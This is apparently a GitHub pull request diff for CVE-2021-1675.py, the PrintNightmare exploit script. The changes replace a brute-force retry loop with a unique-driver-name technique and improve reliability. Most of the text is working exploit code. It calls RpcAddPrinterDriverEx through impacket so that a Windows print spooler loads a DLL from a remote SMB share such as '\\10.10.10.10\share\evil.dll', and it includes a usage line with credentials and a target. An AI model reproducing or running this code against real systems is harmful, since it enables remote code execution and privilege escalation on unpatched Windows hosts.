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Exploit with no backup folder bruteforce #25

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Exploit with no backup folder bruteforce #25

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d6ecf99
Remove brute force backup files
citronneur Jul 4, 2021
74030a6
Remove tries
citronneur Jul 4, 2021
b33e65a
Add name
citronneur Jul 4, 2021
d1b9fdd
Add parameter for driver name
citronneur Jul 4, 2021
ee5512a
More explicit parameter name
citronneur Jul 4, 2021
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35 changes: 13 additions & 22 deletions CVE-2021-1675.py
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Original file line number Diff line number Diff line change
Expand Up @@ -66,13 +66,13 @@ def getDrivers(dce, handle=NULL):
return blob


def main(dce, pDriverPath, share, handle=NULL):
def main(dce, pDriverPath, driverName, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
container_info['DriverInfo']['Level2']['pName'] = "{0}0\x00".format(driverName)
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
Expand All @@ -84,18 +84,15 @@ def main(dce, pDriverPath, share, handle=NULL):
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))

container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
sys.exit()
except Exception as e:
#print(e)
pass
# Just ask for a new driver with already installed files
container_info['DriverInfo']['Level2']['pName'] = "{0}1\x00".format(driverName)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\{0}\x00".format(filename)
flags = rprn.APD_COPY_NEW_FILES | 0x10 | 0x8000
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)

print("[*] Stage1: {0}".format(resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")


if __name__ == '__main__':
Expand All @@ -105,6 +102,7 @@ def main(dce, pDriverPath, share, handle=NULL):
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('driverName', action='store', help='name of driver [need to be unique on target]')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
group = parser.add_argument_group('authentication')
Expand Down Expand Up @@ -170,11 +168,4 @@ def main(dce, pDriverPath, share, handle=NULL):

print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share))

#re-run if stage0/stageX fails
print("[*] Try 1...")
main(dce, pDriverPath, options.share)
print("[*] Try 2...")
main(dce, pDriverPath,options.share)
print("[*] Try 3...")
main(dce, pDriverPath,options.share)
main(dce, pDriverPath, options.driverName, options.share)